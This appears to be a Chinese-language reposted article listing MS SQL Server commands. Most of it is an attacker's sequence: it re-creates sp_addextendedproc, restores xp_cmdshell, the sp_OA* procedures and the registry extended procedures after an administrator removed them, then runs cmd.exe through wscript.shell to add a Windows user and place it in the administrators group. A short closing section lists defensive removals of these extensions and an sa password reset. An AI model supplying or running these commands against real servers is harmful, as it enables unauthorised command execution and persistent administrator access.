注册
登录
| 关键词： addextendedproc exec dropextendedproc sp master cmdshell DLL xp xpstar odsole |
恢复sp_addextendedproc语句： create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO xp_cmdshell新的恢复办法(不用去管sp_addextendedproc是不是存在) 删除 drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 恢复 dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 1.未能找到存储过程'master..xpcmdshell'之解决方法： EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 2.无法装载DLL xpsql70.dll或该DLL所引用的某一DLL。原因126(找不到指定模块。) sp_dropextendedproc "xp_cmdshell" sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 3.无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。) exec sp_dropextendedproc 'xp_cmdshell' exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' 4.直接添加帐户法 删除odsole70.dll： exec master..sp_dropextendedproc sp_oamethod exec master..sp_dropextendedproc sp_oacreate 恢复odsole70.dll： exec sp_addextendedproc sp_OAMethod,'odsole70.dll' exec sp_addextendedproc sp_OACreate,'odsole70.dll' 直接添加帐户命令： declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe/c net localgroup administrators 用户名 /add' 5.恢复时一些常用的SQL语句： 利用sp_addextendedproc恢复大部分常用存储扩展(得先利用最顶上的语句恢复自己)： use master exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' exec sp_addextendedproc xp_dirtree,'xpstar.dll' exec sp_addextendedproc xp_enumgroups,'xplog70.dll' exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' exec sp_addextendedproc xp_loginconfig,'xplog70.dll' exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' exec sp_addextendedproc sp_OACreate,'odsole70.dll' exec sp_addextendedproc sp_OADestroy,'odsole70.dll' exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' exec sp_addextendedproc sp_OAMethod,'odsole70.dll' exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' exec sp_addextendedproc sp_OAStop,'odsole70.dll' exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' exec sp_addextendedproc xp_regread,'xpstar.dll' exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' exec sp_addextendedproc xp_regwrite,'xpstar.dll' exec sp_addextendedproc xp_availablemedia,'xpstar.dll' 恢复cmdshell：exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 判断存储扩展是否存在(返回结果为1就ok)： select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 恢复xp_cmdshell(返回结果为1就ok)： exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo. sysobjectswhere xtype='x' and name='xp_cmdshell' 否则上传xplog7.0.dll： exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll' [b]************************以下为防范时用**********************[/b] 1.删除所有危险扩展： Drop PROCEDURE sp_makewebtask exec master..sp_dropextendedproc xp_cmdshell exec master..sp_dropextendedproc xp_dirtree exec master..sp_dropextendedproc xp_fileexist exec master..sp_dropextendedproc xp_terminate_process exec master..sp_dropextendedproc sp_oamethod exec master..sp_dropextendedproc sp_oacreate exec master..sp_dropextendedproc xp_regaddmultistring exec master..sp_dropextendedproc xp_regdeletekey exec master..sp_dropextendedproc xp_regdeletevalue exec master..sp_dropextendedproc xp_regenumkeys exec master..sp_dropextendedproc xp_regenumvalues exec master..sp_dropextendedproc sp_add_job exec master..sp_dropextendedproc sp_addtask exec master..sp_dropextendedproc xp_regread exec master..sp_dropextendedproc xp_regwrite exec master..sp_dropextendedproc xp_readwebtask exec master..sp_dropextendedproc xp_makewebtask exec master..sp_dropextendedproc xp_regremovemultistring exec master..sp_dropextendedproc sp_OACreate Drop PROCEDURE sp_addextendedproc 2.删除xp_cmdshell扩展：sp_dropextendedproc 'xp_cmdshell' 3.修补sa弱口令：exec sp_password NULL,'新密码','sa' |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
